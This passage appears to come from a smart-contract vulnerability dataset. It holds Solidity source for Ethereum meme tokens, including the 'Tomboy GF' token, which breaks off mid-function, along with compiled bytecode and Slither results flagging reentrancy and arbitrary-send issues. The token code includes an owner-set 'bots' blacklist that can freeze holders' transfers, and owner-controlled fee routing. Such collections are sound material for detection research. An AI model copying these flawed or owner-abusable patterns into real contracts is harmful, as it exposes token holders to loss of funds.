tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102cb578063dd62ed3e14610308578063e8078d9414610345578063f42938901461035c576100f3565b806370a0823114610221578063715018a61461025e5780638da5cb5b1461027557806395d89b41146102a0576100f3565b806323b872dd116100c657806323b872dd1461018b578063293230b8146101c8578063313ce567146101df57806351bc3c851461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610373565b60405161011a9190611d34565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611def565b6103b0565b6040516101579190611e4a565b60405180910390f35b34801561016c57600080fd5b506101756103ce565b6040516101829190611e74565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611e8f565b6103dd565b6040516101bf9190611e4a565b60405180910390f35b3480156101d457600080fd5b506101dd6104b6565b005b3480156101eb57600080fd5b506101f461075f565b6040516102019190611efe565b60405180910390f35b34801561021657600080fd5b5061021f610768565b005b34801561022d57600080fd5b5061024860048036038101906102439190611f19565b610781565b6040516102559190611e74565b60405180910390f35b34801561026a57600080fd5b506102736107d2565b005b34801561028157600080fd5b5061028a610925565b6040516102979190611f55565b60405180910390f35b3480156102ac57600080fd5b506102b561094e565b6040516102c29190611d34565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190611def565b61098b565b6040516102ff9190611e4a565b60405180910390f35b34801561031457600080fd5b5061032f600480360381019061032a9190611f70565b6109a9565b60405161033c9190611e74565b60405180910390f35b34801561035157600080fd5b5061035a610a30565b005b34801561036857600080fd5b50610371610c9c565b005b60606040518060400160405280601081526020017f5061747269636b205374617220496e7500000000000000000000000000000000815250905090565b60006103c46103bd610cf7565b8484610cff565b6001905092915050565b6000662386f26fc10000905090565b60006103ea848484610ec8565b6104ab846103f6610cf7565b6104a6856040518060600160405280602881526020016129d760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045c610cf7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461127f9092919063ffffffff16565b610cff565b600190509392505050565b6104be610cf7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054290611ffc565b60405180910390fd5b61057f30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610cff565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190612031565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610699573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bd9190612031565b6040518363ffffffff1660e01b81526004016106da92919061205e565b6020604051808303816000875af11580156106f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071d9190612031565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006008905090565b600061077330610781565b905061077e816112e3565b50565b60006107cb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155c565b9050919050565b6107da610cf7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085e90611ffc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5041545249434b00000000000000000000000000000000000000000000000000815250905090565b600061099f610998610cf7565b8484610ec8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a38610cf7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abc90611ffc565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b0e30610781565b600080610b19610925565b426040518863ffffffff1660e01b8152600401610b3b969594939291906120cc565b60606040518083038185885af1158015610b59573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b7e9190612142565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c56929190612195565b6020604051808303816000875af1158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9991906121ea565b50565b6000479050610caa816115ca565b50565b6000610cef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611636565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6590612289565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd49061231b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ebb9190611e74565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e906123ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d9061243f565b60405180910390fd5b60008111610fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe0906124d1565b60405180910390fd5b610ff1610925565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561105f575061102f610925565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561126f57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561110f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111655750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111af57600a5481106111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a59061253d565b60405180910390fd5b5b60006111ba30610781565b9050600c60159054906101000a900460ff161580156112275750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561123f5750600c60169054906101000a900460ff165b1561126d5761124d816112e3565b6000479050670de0b6b3a7640000811061126b5761126a476115ca565b5b505b505b61127a838383611699565b505050565b60008383111582906112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be9190611d34565b60405180910390fd5b50600083856112d6919061258c565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561131b5761131a6125c0565b5b6040519080825280602002602001820160405280156113495781602001602082028036833780820191505090505b5090503081600081518110611361576113606125ef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142c9190612031565b816001815181106114405761143f6125ef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506114a730600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cff565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161150b9594939291906126dc565b600060405180830381600087803b15801561152557600080fd5b505af1158015611539573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a906127a8565b60405180910390fd5b60006115ad6116a9565b90506115c28184610cad90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611632573d6000803e3d6000fd5b5050565b6000808311829061167d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116749190611d34565b60405180910390fd5b506000838561168c91906127f7565b9050809150509392505050565b6116a48383836116d4565b505050565b60008060006116b661189f565b915091506116cd8183610cad90919063ffffffff16565b9250505090565b6000806000806000806116e6876118fb565b95509550955095509550955061174486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ad90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182581611a0b565b61182f8483611ac8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161188c9190611e74565b60405180910390a3505050505050505050565b600080600060055490506000662386f26fc1000090506118d1662386f26fc10000600554610cad90919063ffffffff16565b8210156118ee57600554662386f26fc100009350935050506118f7565b81819350935050505b9091565b60008060008060008060008060006119188a600754600854611b02565b92509250925060006119286116a9565b9050600080600061193b8e878787611b98565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127f565b905092915050565b60008082846119bc9190612828565b905083811015611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f8906128ca565b60405180910390fd5b8091505092915050565b6000611a156116a9565b90506000611a2c8284611c2190919063ffffffff16565b9050611a8081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ad90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611add8260055461196390919063ffffffff16565b600581905550611af8816006546119ad90919063ffffffff16565b6006819055505050565b600080600080611b2e6064611b20888a611c2190919063ffffffff16565b610cad90919063ffffffff16565b90506000611b586064611b4a888b611c2190919063ffffffff16565b610cad90919063ffffffff16565b90506000611b8182611b73858c61196390919063ffffffff16565b61196390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bb18589611c2190919063ffffffff16565b90506000611bc88689611c2190919063ffffffff16565b90506000611bdf8789611c2190919063ffffffff16565b90506000611c0882611bfa858761196390919063ffffffff16565b61196390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303611c335760009050611c95565b60008284611c4191906128ea565b9050828482611c5091906127f7565b14611c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c87906129b6565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611cd5578082015181840152602081019050611cba565b83811115611ce4576000848401525b50505050565b6000601f19601f8301169050919050565b6000611d0682611c9b565b611d108185611ca6565b9350611d20818560208601611cb7565b611d2981611cea565b840191505092915050565b60006020820190508181036000830152611d4e8184611cfb565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8682611d5b565b9050919050565b611d9681611d7b565b8114611da157600080fd5b50565b600081359050611db381611d8d565b92915050565b6000819050919050565b611dcc81611db9565b8114611dd757600080fd5b50565b600081359050611de981611dc3565b92915050565b60008060408385031215611e0657611e05611d56565b5b6000611e1485828601611da4565b9250506020611e2585828601611dda565b9150509250929050565b60008115159050919050565b611e4481611e2f565b82525050565b6000602082019050611e5f6000830184611e3b565b92915050565b611e6e81611db9565b82525050565b6000602082019050611e896000830184611e65565b92915050565b600080600060608486031215611ea857611ea7611d56565b5b6000611eb686828701611da4565b9350506020611ec786828701611da4565b9250506040611ed886828701611dda565b9150509250925092565b600060ff82169050919050565b611ef881611ee2565b82525050565b6000602082019050611f136000830184611eef565b92915050565b600060208284031215611f2f57611f2e611d56565b5b6000611f3d84828501611da4565b91505092915050565b611f4f81611d7b565b82525050565b6000602082019050611f6a6000830184611f46565b92915050565b60008060408385031215611f8757611f86611d56565b5b6000611f9585828601611da4565b9250506020611fa685828601611da4565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fe6602083611ca6565b9150611ff182611fb0565b602082019050919050565b6000602082019050818103600083015261201581611fd9565b9050919050565b60008151905061202b81611d8d565b92915050565b60006020828403121561204757612046611d56565b5b60006120558482850161201c565b91505092915050565b60006040820190506120736000830185611f46565b6120806020830184611f46565b9392505050565b6000819050919050565b6000819050919050565b60006120b66120b16120ac84612087565b612091565b611db9565b9050919050565b6120c68161209b565b82525050565b600060c0820190506120e16000830189611f46565b6120ee6020830188611e65565b6120fb60408301876120bd565b61210860608301866120bd565b6121156080830185611f46565b61212260a0830184611e65565b979650505050505050565b60008151905061213c81611dc3565b92915050565b60008060006060848603121561215b5761215a611d56565b5b60006121698682870161212d565b935050602061217a8682870161212d565b925050604061218b8682870161212d565b9150509250925092565b60006040820190506121aa6000830185611f46565b6121b76020830184611e65565b9392505050565b6121c781611e2f565b81146121d257600080fd5b50565b6000815190506121e4816121be565b92915050565b600060208284031215612200576121ff611d56565b5b600061220e848285016121d5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612273602483611ca6565b915061227e82612217565b604082019050919050565b600060208201905081810360008301526122a281612266565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612305602283611ca6565b9150612310826122a9565b604082019050919050565b60006020820190508181036000830152612334816122f8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612397602583611ca6565b91506123a28261233b565b604082019050919050565b600060208201905081810360008301526123c68161238a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612429602383611ca6565b9150612434826123cd565b604082019050919050565b600060208201905081810360008301526124588161241c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006124bb602983611ca6565b91506124c68261245f565b604082019050919050565b600060208201905081810360008301526124ea816124ae565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000612527601a83611ca6565b9150612532826124f1565b602082019050919050565b600060208201905081810360008301526125568161251a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061259782611db9565b91506125a283611db9565b9250828210156125b5576125b461255d565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61265381611d7b565b82525050565b6000612665838361264a565b60208301905092915050565b6000602082019050919050565b60006126898261261e565b6126938185612629565b935061269e8361263a565b8060005b838110156126cf5781516126b68882612659565b97506126c183612671565b9250506001810190506126a2565b5085935050505092915050565b600060a0820190506126f16000830188611e65565b6126fe60208301876120bd565b8181036040830152612710818661267e565b905061271f6060830185611f46565b61272c6080830184611e65565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612792602a83611ca6565b915061279d82612736565b604082019050919050565b600060208201905081810360008301526127c181612785565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061280282611db9565b915061280d83611db9565b92508261281d5761281c6127c8565b5b828204905092915050565b600061283382611db9565b915061283e83611db9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128735761287261255d565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006128b4601b83611ca6565b91506128bf8261287e565b602082019050919050565b600060208201905081810360008301526128e3816128a7565b9050919050565b60006128f582611db9565b915061290083611db9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129395761293861255d565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006129a0602183611ca6565b91506129ab82612944565b604082019050919050565b600060208201905081810360008301526129cf81612993565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef93e40e623bca7e8b159b981c0c558fd2b438c2f17bc5c46ec92c8649be0c2364736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,330
0x5e6edc5fd026b46e15b4fa1226ebadb1acdb0ac9
/** *Submitted for verification at Etherscan.io on 2021-07-23 */ /* Telegram: https://t.me/TomboyGF Twitter: https://twitter.com/TomboyETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Tomboy is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Tomboy GF"; string private constant _symbol = 'TOMBOY️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 0; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { 